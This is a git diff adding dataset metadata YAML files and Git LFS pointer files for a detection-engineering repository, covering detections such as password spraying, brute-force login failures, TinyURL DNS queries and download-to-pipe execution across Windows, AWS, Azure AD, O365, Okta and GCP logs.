4f59bf84-09d9-495a-bdad-e97701f1e595 +date: '2026-07-11' +description: Curated attack data generated for detection Windows DLL Module Loaded + in Temp Dir +environment: attack_range +directory: dll_loaded_in_temp +mitre_technique: [] +datasets: +- name: module_loaded_in_temp + path: /datasets/attack_techniques/T1105/dll_loaded_in_temp/module_loaded_in_temp-4f59bf84-09d9-495a-bdad-e97701f1e595.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1105/dll_loaded_in_temp/module_loaded_in_temp-4f59bf84-09d9-495a-bdad-e97701f1e595.log b/datasets/attack_techniques/T1105/dll_loaded_in_temp/module_loaded_in_temp-4f59bf84-09d9-495a-bdad-e97701f1e595.log new file mode 100644 index 000000000..5955b3e06 --- /dev/null +++ b/datasets/attack_techniques/T1105/dll_loaded_in_temp/module_loaded_in_temp-4f59bf84-09d9-495a-bdad-e97701f1e595.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:eb108a10934cc874a1619efec58c1579beea562f335b07a2a9abc8266eecf2b6 +size 1440 diff --git a/datasets/attack_techniques/T1105/download_to_pipe_exec/T1105_download_to_pipe_exec.yml b/datasets/attack_techniques/T1105/download_to_pipe_exec/T1105_download_to_pipe_exec.yml new file mode 100644 index 000000000..4e6963903 --- /dev/null +++ b/datasets/attack_techniques/T1105/download_to_pipe_exec/T1105_download_to_pipe_exec.yml @@ -0,0 +1,17 @@ +author: STRT +id: 8427b872-32fa-483c-ad1d-c26d35fa725f +date: '2026-07-10' +description: Curated attack data generated for detection File Download or Read to + Pipe Execution +environment: attack_range +directory: download_to_pipe_exec +mitre_technique: [] +datasets: +- name: download_to_pipe_exec + path: /datasets/attack_techniques/T1105/download_to_pipe_exec/download_to_pipe_exec-8427b872-32fa-483c-ad1d-c26d35fa725f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: download_to_pipe_exec_linux + path: /datasets/attack_techniques/T1105/download_to_pipe_exec/download_to_pipe_exec_linux-8427b872-32fa-483c-ad1d-c26d35fa725f.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1105/download_to_pipe_exec/download_to_pipe_exec-8427b872-32fa-483c-ad1d-c26d35fa725f.log b/datasets/attack_techniques/T1105/download_to_pipe_exec/download_to_pipe_exec-8427b872-32fa-483c-ad1d-c26d35fa725f.log new file mode 100644 index 000000000..1c5d36eef --- /dev/null +++ b/datasets/attack_techniques/T1105/download_to_pipe_exec/download_to_pipe_exec-8427b872-32fa-483c-ad1d-c26d35fa725f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ab8e2dfa63e5fe4f800f89e0ba82d7c9369055adf8f4dcec35aca3be0138ad61 +size 12120 diff --git a/datasets/attack_techniques/T1105/download_to_pipe_exec/download_to_pipe_exec_linux-8427b872-32fa-483c-ad1d-c26d35fa725f.log b/datasets/attack_techniques/T1105/download_to_pipe_exec/download_to_pipe_exec_linux-8427b872-32fa-483c-ad1d-c26d35fa725f.log new file mode 100644 index 000000000..4b01a4ccf --- /dev/null +++ b/datasets/attack_techniques/T1105/download_to_pipe_exec/download_to_pipe_exec_linux-8427b872-32fa-483c-ad1d-c26d35fa725f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9c629b51765f290038bef423acf717960cc3da6bf3e4d40d406627854335be7a +size 1554 diff --git a/datasets/attack_techniques/T1105/tinyurl_dns_query/T1105_tinyurl_dns_query.yml b/datasets/attack_techniques/T1105/tinyurl_dns_query/T1105_tinyurl_dns_query.yml new file mode 100644 index 000000000..900dccb9d --- /dev/null +++ b/datasets/attack_techniques/T1105/tinyurl_dns_query/T1105_tinyurl_dns_query.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5488435a-a73f-47bd-a423-2e00ac7d3ef2 +date: '2026-07-11' +description: Curated attack data generated for detection Windows DNS Query Request + To TinyUrl +environment: attack_range +directory: tinyurl_dns_query +mitre_technique: [] +datasets: +- name: tinyurl + path: /datasets/attack_techniques/T1105/tinyurl_dns_query/tinyurl-5488435a-a73f-47bd-a423-2e00ac7d3ef2.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1105/tinyurl_dns_query/tinyurl-5488435a-a73f-47bd-a423-2e00ac7d3ef2.log b/datasets/attack_techniques/T1105/tinyurl_dns_query/tinyurl-5488435a-a73f-47bd-a423-2e00ac7d3ef2.log new file mode 100644 index 000000000..3782e0793 --- /dev/null +++ b/datasets/attack_techniques/T1105/tinyurl_dns_query/tinyurl-5488435a-a73f-47bd-a423-2e00ac7d3ef2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:87e7c895938bf64382ebda6b9dc112116f0d054b43eb009cb4a674aa34fd225a +size 1114 diff --git a/datasets/attack_techniques/T1110.001/aws_login_failure/T1110.001_aws_login_failure.yml b/datasets/attack_techniques/T1110.001/aws_login_failure/T1110.001_aws_login_failure.yml new file mode 100644 index 000000000..b3c82ef03 --- /dev/null +++ b/datasets/attack_techniques/T1110.001/aws_login_failure/T1110.001_aws_login_failure.yml @@ -0,0 +1,13 @@ +author: STRT +id: 482b71de-3bef-4cdf-9652-a657bb8e7f13 +date: '2026-07-10' +description: Curated attack data generated for detection AWS Credential Access Failed + Login +environment: attack_range +directory: aws_login_failure +mitre_technique: [] +datasets: +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1110.001/aws_login_failure/aws_cloudtrail_events-482b71de-3bef-4cdf-9652-a657bb8e7f13.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1110.001/aws_login_failure/aws_cloudtrail_events-482b71de-3bef-4cdf-9652-a657bb8e7f13.log b/datasets/attack_techniques/T1110.001/aws_login_failure/aws_cloudtrail_events-482b71de-3bef-4cdf-9652-a657bb8e7f13.log new file mode 100644 index 000000000..d8e36bb4d --- /dev/null +++ b/datasets/attack_techniques/T1110.001/aws_login_failure/aws_cloudtrail_events-482b71de-3bef-4cdf-9652-a657bb8e7f13.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f55a4f9f3c9e97256bcaf98db9daf660f5fa9644fcc8bb48730b49db76d212dc +size 3455 diff --git a/datasets/attack_techniques/T1110.001/azure_ad_high_number_of_failed_authentications_for_user/T1110.001_azure_ad_high_number_of_failed_authentications_for_user.yml b/datasets/attack_techniques/T1110.001/azure_ad_high_number_of_failed_authentications_for_user/T1110.001_azure_ad_high_number_of_failed_authentications_for_user.yml new file mode 100644 index 000000000..1d498c277 --- /dev/null +++ b/datasets/attack_techniques/T1110.001/azure_ad_high_number_of_failed_authentications_for_user/T1110.001_azure_ad_high_number_of_failed_authentications_for_user.yml @@ -0,0 +1,13 @@ +author: STRT +id: 562a842d-77cf-4a8d-84ec-34e810c84f30 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD High Number Of Failed + Authentications For User +environment: attack_range +directory: azure_ad_high_number_of_failed_authentications_for_user +mitre_technique: [] +datasets: +- name: azuread + path: /datasets/attack_techniques/T1110.001/azure_ad_high_number_of_failed_authentications_for_user/azuread-562a842d-77cf-4a8d-84ec-34e810c84f30.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1110.001/azure_ad_high_number_of_failed_authentications_for_user/azuread-562a842d-77cf-4a8d-84ec-34e810c84f30.log b/datasets/attack_techniques/T1110.001/azure_ad_high_number_of_failed_authentications_for_user/azuread-562a842d-77cf-4a8d-84ec-34e810c84f30.log new file mode 100644 index 000000000..9089f12a9 --- /dev/null +++ b/datasets/attack_techniques/T1110.001/azure_ad_high_number_of_failed_authentications_for_user/azuread-562a842d-77cf-4a8d-84ec-34e810c84f30.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1e301dddb3320a8384806716d71d89ff6a1d8c1a0912ebb5c57151f58b786ab1 +size 105311 diff --git a/datasets/attack_techniques/T1110.001/azure_ad_successful_authentication_from_different_ips/T1110.001_azure_ad_successful_authentication_from_different_ips.yml b/datasets/attack_techniques/T1110.001/azure_ad_successful_authentication_from_different_ips/T1110.001_azure_ad_successful_authentication_from_different_ips.yml new file mode 100644 index 000000000..6382c0041 --- /dev/null +++ b/datasets/attack_techniques/T1110.001/azure_ad_successful_authentication_from_different_ips/T1110.001_azure_ad_successful_authentication_from_different_ips.yml @@ -0,0 +1,13 @@ +author: STRT +id: b2b1f32b-4569-4a76-8cb0-0cbf5f1bd7cd +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Successful Authentication + From Different Ips +environment: attack_range +directory: azure_ad_successful_authentication_from_different_ips +mitre_technique: [] +datasets: +- name: azuread + path: /datasets/attack_techniques/T1110.001/azure_ad_successful_authentication_from_different_ips/azuread-b2b1f32b-4569-4a76-8cb0-0cbf5f1bd7cd.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1110.001/azure_ad_successful_authentication_from_different_ips/azuread-b2b1f32b-4569-4a76-8cb0-0cbf5f1bd7cd.log b/datasets/attack_techniques/T1110.001/azure_ad_successful_authentication_from_different_ips/azuread-b2b1f32b-4569-4a76-8cb0-0cbf5f1bd7cd.log new file mode 100644 index 000000000..7e69ccc59 --- /dev/null +++ b/datasets/attack_techniques/T1110.001/azure_ad_successful_authentication_from_different_ips/azuread-b2b1f32b-4569-4a76-8cb0-0cbf5f1bd7cd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:13158781bc3f8687c86587e1f0f5a4721b18e95c0834b62845a2a17ace34816a +size 58284 diff --git a/datasets/attack_techniques/T1110.001/o365_high_number_authentications_for_user/T1110.001_o365_high_number_authentications_for_user.yml b/datasets/attack_techniques/T1110.001/o365_high_number_authentications_for_user/T1110.001_o365_high_number_authentications_for_user.yml new file mode 100644 index 000000000..79785c4d6 --- /dev/null +++ b/datasets/attack_techniques/T1110.001/o365_high_number_authentications_for_user/T1110.001_o365_high_number_authentications_for_user.yml @@ -0,0 +1,13 @@ +author: STRT +id: cef9378e-bf5c-453d-9e7c-18ea5fcc8c8b +date: '2026-07-10' +description: Curated attack data generated for detection High Number of Login Failures + from a single source +environment: attack_range +directory: o365_high_number_authentications_for_user +mitre_technique: [] +datasets: +- name: o365_high_number_authentications_for_user + path: /datasets/attack_techniques/T1110.001/o365_high_number_authentications_for_user/o365_high_number_authentications_for_user-cef9378e-bf5c-453d-9e7c-18ea5fcc8c8b.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1110.001/o365_high_number_authentications_for_user/o365_high_number_authentications_for_user-cef9378e-bf5c-453d-9e7c-18ea5fcc8c8b.log b/datasets/attack_techniques/T1110.001/o365_high_number_authentications_for_user/o365_high_number_authentications_for_user-cef9378e-bf5c-453d-9e7c-18ea5fcc8c8b.log new file mode 100644 index 000000000..f8a217cd2 --- /dev/null +++ b/datasets/attack_techniques/T1110.001/o365_high_number_authentications_for_user/o365_high_number_authentications_for_user-cef9378e-bf5c-453d-9e7c-18ea5fcc8c8b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:15c51507a960f9810fca5d6392e886bf136dfd57f1f4cef07fd2d71b00f6d079 +size 34078 diff --git a/datasets/attack_techniques/T1110.002/aws_rds_password_reset/T1110.002_aws_rds_password_reset.yml b/datasets/attack_techniques/T1110.002/aws_rds_password_reset/T1110.002_aws_rds_password_reset.yml new file mode 100644 index 000000000..d32e72e7c --- /dev/null +++ b/datasets/attack_techniques/T1110.002/aws_rds_password_reset/T1110.002_aws_rds_password_reset.yml @@ -0,0 +1,17 @@ +author: STRT +id: db130218-4e2b-4aa7-b984-f58b86f277fa +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Credential Access + RDS Password reset +environment: attack_range +directory: aws_rds_password_reset +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1110.002/aws_rds_password_reset/asl_ocsf_cloudtrail-db130218-4e2b-4aa7-b984-f58b86f277fa.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1110.002/aws_rds_password_reset/aws_cloudtrail_events-db130218-4e2b-4aa7-b984-f58b86f277fa.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1110.002/aws_rds_password_reset/asl_ocsf_cloudtrail-db130218-4e2b-4aa7-b984-f58b86f277fa.log b/datasets/attack_techniques/T1110.002/aws_rds_password_reset/asl_ocsf_cloudtrail-db130218-4e2b-4aa7-b984-f58b86f277fa.log new file mode 100644 index 000000000..2ababd123 --- /dev/null +++ b/datasets/attack_techniques/T1110.002/aws_rds_password_reset/asl_ocsf_cloudtrail-db130218-4e2b-4aa7-b984-f58b86f277fa.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fc1cff8a54e696d469d005d6722086ba51fa58efa7d908780fe3908b7cc2e10e +size 4818 diff --git a/datasets/attack_techniques/T1110.002/aws_rds_password_reset/aws_cloudtrail_events-db130218-4e2b-4aa7-b984-f58b86f277fa.log b/datasets/attack_techniques/T1110.002/aws_rds_password_reset/aws_cloudtrail_events-db130218-4e2b-4aa7-b984-f58b86f277fa.log new file mode 100644 index 000000000..0a67bd5d5 --- /dev/null +++ b/datasets/attack_techniques/T1110.002/aws_rds_password_reset/aws_cloudtrail_events-db130218-4e2b-4aa7-b984-f58b86f277fa.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7015688e41e2afca485d25fcf1fc2e655402fc036e372ca0ad6d2fefc9430c1f +size 8635 diff --git a/datasets/attack_techniques/T1110.003/aws_mulitple_failed_console_login/T1110.003_aws_mulitple_failed_console_login.yml b/datasets/attack_techniques/T1110.003/aws_mulitple_failed_console_login/T1110.003_aws_mulitple_failed_console_login.yml new file mode 100644 index 000000000..c76b00de5 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/aws_mulitple_failed_console_login/T1110.003_aws_mulitple_failed_console_login.yml @@ -0,0 +1,13 @@ +author: STRT +id: b79f6118-879c-4542-9d40-352f7b4f3f6a +date: '2026-07-10' +description: Curated attack data generated for detection AWS High Number Of Failed + Authentications From Ip +environment: attack_range +directory: aws_mulitple_failed_console_login +mitre_technique: [] +datasets: +- name: aws_cloudtrail + path: /datasets/attack_techniques/T1110.003/aws_mulitple_failed_console_login/aws_cloudtrail-b79f6118-879c-4542-9d40-352f7b4f3f6a.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1110.003/aws_mulitple_failed_console_login/aws_cloudtrail-b79f6118-879c-4542-9d40-352f7b4f3f6a.log b/datasets/attack_techniques/T1110.003/aws_mulitple_failed_console_login/aws_cloudtrail-b79f6118-879c-4542-9d40-352f7b4f3f6a.log new file mode 100644 index 000000000..cb997e0b3 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/aws_mulitple_failed_console_login/aws_cloudtrail-b79f6118-879c-4542-9d40-352f7b4f3f6a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:83dcc9e3c771439350b76385a496c8e400304504ff71c38188780e7cdce157f5 +size 35114 diff --git a/datasets/attack_techniques/T1110.003/aws_multiple_login_fail_per_user/T1110.003_aws_multiple_login_fail_per_user.yml b/datasets/attack_techniques/T1110.003/aws_multiple_login_fail_per_user/T1110.003_aws_multiple_login_fail_per_user.yml new file mode 100644 index 000000000..89fa23e5a --- /dev/null +++ b/datasets/attack_techniques/T1110.003/aws_multiple_login_fail_per_user/T1110.003_aws_multiple_login_fail_per_user.yml @@ -0,0 +1,13 @@ +author: STRT +id: ccfae4a2-6474-439c-822e-56eeb1d16e94 +date: '2026-07-10' +description: Curated attack data generated for detection AWS High Number Of Failed + Authentications For User +environment: attack_range +directory: aws_multiple_login_fail_per_user +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1110.003/aws_multiple_login_fail_per_user/cloudtrail-ccfae4a2-6474-439c-822e-56eeb1d16e94.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1110.003/aws_multiple_login_fail_per_user/cloudtrail-ccfae4a2-6474-439c-822e-56eeb1d16e94.log b/datasets/attack_techniques/T1110.003/aws_multiple_login_fail_per_user/cloudtrail-ccfae4a2-6474-439c-822e-56eeb1d16e94.log new file mode 100644 index 000000000..0abcbed51 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/aws_multiple_login_fail_per_user/cloudtrail-ccfae4a2-6474-439c-822e-56eeb1d16e94.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e7103013d8c150c0b7718c2270ac24a902052901492660a6e70c72ea5bf3bb10 +size 26266 diff --git a/datasets/attack_techniques/T1110.003/azure_ad_distributed_spray/T1110.003_azure_ad_distributed_spray.yml b/datasets/attack_techniques/T1110.003/azure_ad_distributed_spray/T1110.003_azure_ad_distributed_spray.yml new file mode 100644 index 000000000..3766a7131 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/azure_ad_distributed_spray/T1110.003_azure_ad_distributed_spray.yml @@ -0,0 +1,13 @@ +author: STRT +id: ac42f470-f4c6-441b-ba59-f27c8b2d23a1 +date: '2026-07-13' +description: Curated attack data generated for detection Azure AD Multi-Source Failed + Authentications Spike +environment: attack_range +directory: azure_ad_distributed_spray +mitre_technique: [] +datasets: +- name: azure_ad_distributed_spray + path: /datasets/attack_techniques/T1110.003/azure_ad_distributed_spray/azure_ad_distributed_spray-ac42f470-f4c6-441b-ba59-f27c8b2d23a1.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1110.003/azure_ad_distributed_spray/azure_ad_distributed_spray-ac42f470-f4c6-441b-ba59-f27c8b2d23a1.log b/datasets/attack_techniques/T1110.003/azure_ad_distributed_spray/azure_ad_distributed_spray-ac42f470-f4c6-441b-ba59-f27c8b2d23a1.log new file mode 100644 index 000000000..3c124d4ea --- /dev/null +++ b/datasets/attack_techniques/T1110.003/azure_ad_distributed_spray/azure_ad_distributed_spray-ac42f470-f4c6-441b-ba59-f27c8b2d23a1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dec02ab9920aa51c1cf87f9b3033ca732334173d894fe65c64752c57c8cbbcfb +size 3771 diff --git a/datasets/attack_techniques/T1110.003/azuread_highrisk/T1110.003_azuread_highrisk.yml b/datasets/attack_techniques/T1110.003/azuread_highrisk/T1110.003_azuread_highrisk.yml new file mode 100644 index 000000000..a9fa4a1f5 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/azuread_highrisk/T1110.003_azuread_highrisk.yml @@ -0,0 +1,13 @@ +author: STRT +id: 183f9b47-3ccd-47d0-b323-9a3544487bb8 +date: '2026-07-10' +description: Curated attack data generated for detection Azure Active Directory High + Risk Sign-in +environment: attack_range +directory: azuread_highrisk +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1110.003/azuread_highrisk/azure-audit-183f9b47-3ccd-47d0-b323-9a3544487bb8.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1110.003/azuread_highrisk/azure-audit-183f9b47-3ccd-47d0-b323-9a3544487bb8.log b/datasets/attack_techniques/T1110.003/azuread_highrisk/azure-audit-183f9b47-3ccd-47d0-b323-9a3544487bb8.log new file mode 100644 index 000000000..9237a5618 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/azuread_highrisk/azure-audit-183f9b47-3ccd-47d0-b323-9a3544487bb8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9153ec72285713cf6bfaff8bd580f9869486da01c4373b583e4d46414472bd2f +size 5312 diff --git a/datasets/attack_techniques/T1110.003/gcp_gws_multiple_login_failure/T1110.003_gcp_gws_multiple_login_failure.yml b/datasets/attack_techniques/T1110.003/gcp_gws_multiple_login_failure/T1110.003_gcp_gws_multiple_login_failure.yml new file mode 100644 index 000000000..5634487fe --- /dev/null +++ b/datasets/attack_techniques/T1110.003/gcp_gws_multiple_login_failure/T1110.003_gcp_gws_multiple_login_failure.yml @@ -0,0 +1,13 @@ +author: STRT +id: aeb06c8a-a641-44f9-86e3-c6fd06c294d2 +date: '2026-07-10' +description: Curated attack data generated for detection GCP Multiple Users Failing + To Authenticate From Ip +environment: attack_range +directory: gcp_gws_multiple_login_failure +mitre_technique: [] +datasets: +- name: gws_login + path: /datasets/attack_techniques/T1110.003/gcp_gws_multiple_login_failure/gws_login-aeb06c8a-a641-44f9-86e3-c6fd06c294d2.log + sourcetype: gws:reports:login + source: gws_login diff --git a/datasets/attack_techniques/T1110.003/gcp_gws_multiple_login_failure/gws_login-aeb06c8a-a641-44f9-86e3-c6fd06c294d2.log b/datasets/attack_techniques/T1110.003/gcp_gws_multiple_login_failure/gws_login-aeb06c8a-a641-44f9-86e3-c6fd06c294d2.log new file mode 100644 index 000000000..6dd511c68 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/gcp_gws_multiple_login_failure/gws_login-aeb06c8a-a641-44f9-86e3-c6fd06c294d2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a0afa4b61b480a41b58b171e889928788edcc3e7482152c6a0519ccd187f561b +size 16311 diff --git a/datasets/attack_techniques/T1110.003/ntlm_bruteforce/T1110.003_ntlm_bruteforce.yml b/datasets/attack_techniques/T1110.003/ntlm_bruteforce/T1110.003_ntlm_bruteforce.yml new file mode 100644 index 000000000..827a4ef40 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/ntlm_bruteforce/T1110.003_ntlm_bruteforce.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3525ed41-9337-4a99-bd53-502aa366963d +date: '2026-07-11' +description: Curated attack data generated for detection Windows Multiple NTLM Null + Domain Authentications +environment: attack_range +directory: ntlm_bruteforce +mitre_technique: [] +datasets: +- name: ntlm_bruteforce + path: /datasets/attack_techniques/T1110.003/ntlm_bruteforce/ntlm_bruteforce-3525ed41-9337-4a99-bd53-502aa366963d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-NTLM/Operational diff --git a/datasets/attack_techniques/T1110.003/ntlm_bruteforce/ntlm_bruteforce-3525ed41-9337-4a99-bd53-502aa366963d.log b/datasets/attack_techniques/T1110.003/ntlm_bruteforce/ntlm_bruteforce-3525ed41-9337-4a99-bd53-502aa366963d.log new file mode 100644 index 000000000..707d40758 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/ntlm_bruteforce/ntlm_bruteforce-3525ed41-9337-4a99-bd53-502aa366963d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fe6c657efc8b4322ab3b17c1a4c3c972c401c60174c242a85bccca9e69ba3ebc +size 403527 diff --git a/datasets/attack_techniques/T1110.003/o365_distributed_spray/T1110.003_o365_distributed_spray.yml b/datasets/attack_techniques/T1110.003/o365_distributed_spray/T1110.003_o365_distributed_spray.yml new file mode 100644 index 000000000..dcdf7211f --- /dev/null +++ b/datasets/attack_techniques/T1110.003/o365_distributed_spray/T1110.003_o365_distributed_spray.yml @@ -0,0 +1,13 @@ +author: STRT +id: 06c07c23-1636-4a46-9000-a884f73249c0 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Multi-Source Failed + Authentications Spike +environment: attack_range +directory: o365_distributed_spray +mitre_technique: [] +datasets: +- name: o365_distributed_spray + path: /datasets/attack_techniques/T1110.003/o365_distributed_spray/o365_distributed_spray-06c07c23-1636-4a46-9000-a884f73249c0.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1110.003/o365_distributed_spray/o365_distributed_spray-06c07c23-1636-4a46-9000-a884f73249c0.log b/datasets/attack_techniques/T1110.003/o365_distributed_spray/o365_distributed_spray-06c07c23-1636-4a46-9000-a884f73249c0.log new file mode 100644 index 000000000..fa988f441 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/o365_distributed_spray/o365_distributed_spray-06c07c23-1636-4a46-9000-a884f73249c0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b561b1a94fd3877670bff3b096cb69e45557ca60b3a16466a41b370b178fe044 +size 48251 diff --git a/datasets/attack_techniques/T1110.003/o365_multiple_users_from_ip/T1110.003_o365_multiple_users_from_ip.yml b/datasets/attack_techniques/T1110.003/o365_multiple_users_from_ip/T1110.003_o365_multiple_users_from_ip.yml new file mode 100644 index 000000000..dfb5e2ecf --- /dev/null +++ b/datasets/attack_techniques/T1110.003/o365_multiple_users_from_ip/T1110.003_o365_multiple_users_from_ip.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3d651cdf-3c8f-4f62-9078-96f4bf1b964c +date: '2026-07-10' +description: Curated attack data generated for detection O365 Multiple Users Failing + To Authenticate From Ip +environment: attack_range +directory: o365_multiple_users_from_ip +mitre_technique: [] +datasets: +- name: o365_multiple_users_from_ip + path: /datasets/attack_techniques/T1110.003/o365_multiple_users_from_ip/o365_multiple_users_from_ip-3d651cdf-3c8f-4f62-9078-96f4bf1b964c.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1110.003/o365_multiple_users_from_ip/o365_multiple_users_from_ip-3d651cdf-3c8f-4f62-9078-96f4bf1b964c.log b/datasets/attack_techniques/T1110.003/o365_multiple_users_from_ip/o365_multiple_users_from_ip-3d651cdf-3c8f-4f62-9078-96f4bf1b964c.log new file mode 100644 index 000000000..5159c8926 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/o365_multiple_users_from_ip/o365_multiple_users_from_ip-3d651cdf-3c8f-4f62-9078-96f4bf1b964c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:53c94fc7f5779fda3bb9cc29e9c210998dda194b2cd83109be5f3edad8da5f8a +size 48331 diff --git a/datasets/attack_techniques/T1110.003/okta_multiple_users_from_ip/T1110.003_okta_multiple_users_from_ip.yml b/datasets/attack_techniques/T1110.003/okta_multiple_users_from_ip/T1110.003_okta_multiple_users_from_ip.yml new file mode 100644 index 000000000..426b8eb92 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/okta_multiple_users_from_ip/T1110.003_okta_multiple_users_from_ip.yml @@ -0,0 +1,13 @@ +author: STRT +id: cb86c6d7-ef96-4e8e-b4ee-3908015aa550 +date: '2026-07-13' +description: Curated attack data generated for detection Okta Multiple Users Failing + To Authenticate From Ip +environment: attack_range +directory: okta_multiple_users_from_ip +mitre_technique: [] +datasets: +- name: okta_multiple_users_from_ip + path: /datasets/attack_techniques/T1110.003/okta_multiple_users_from_ip/okta_multiple_users_from_ip-cb86c6d7-ef96-4e8e-b4ee-3908015aa550.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1110.003/okta_multiple_users_from_ip/okta_multiple_users_from_ip-cb86c6d7-ef96-4e8e-b4ee-3908015aa550.log b/datasets/attack_techniques/T1110.003/okta_multiple_users_from_ip/okta_multiple_users_from_ip-cb86c6d7-ef96-4e8e-b4ee-3908015aa550.log new file mode 100644 index 000000000..552527eb2 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/okta_multiple_users_from_ip/okta_multiple_users_from_ip-cb86c6d7-ef96-4e8e-b4ee-3908015aa550.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:751443895c48019590413155096ceaa5ae4d22b57ac187fc237a1c6c280df3fb +size 23692 diff --git a/datasets/attack_techniques/T1110.003/password_spraying_azuread/T1110.003_password_spraying_azuread.yml b/datasets/attack_techniques/T1110.003/password_spraying_azuread/T1110.003_password_spraying_azuread.yml new file mode 100644 index 000000000..39316bf41 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/password_spraying_azuread/T1110.003_password_spraying_azuread.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3eff1b6f-066e-4f9c-9beb-afb4c6c82798 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Multiple Users Failing + To Authenticate From Ip +environment: attack_range +directory: password_spraying_azuread +mitre_technique: [] +datasets: +- name: azuread_signin + path: /datasets/attack_techniques/T1110.003/password_spraying_azuread/azuread_signin-3eff1b6f-066e-4f9c-9beb-afb4c6c82798.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1110.003/password_spraying_azuread/azuread_signin-3eff1b6f-066e-4f9c-9beb-afb4c6c82798.log b/datasets/attack_techniques/T1110.003/password_spraying_azuread/azuread_signin-3eff1b6f-066e-4f9c-9beb-afb4c6c82798.log new file mode 100644 index 000000000..eb28a9876 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/password_spraying_azuread/azuread_signin-3eff1b6f-066e-4f9c-9beb-afb4c6c82798.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0943a2bca8988a2818c5b132b9dbb4a8eb6081c046645f92a4f1b8051169fc2e +size 113331 diff --git 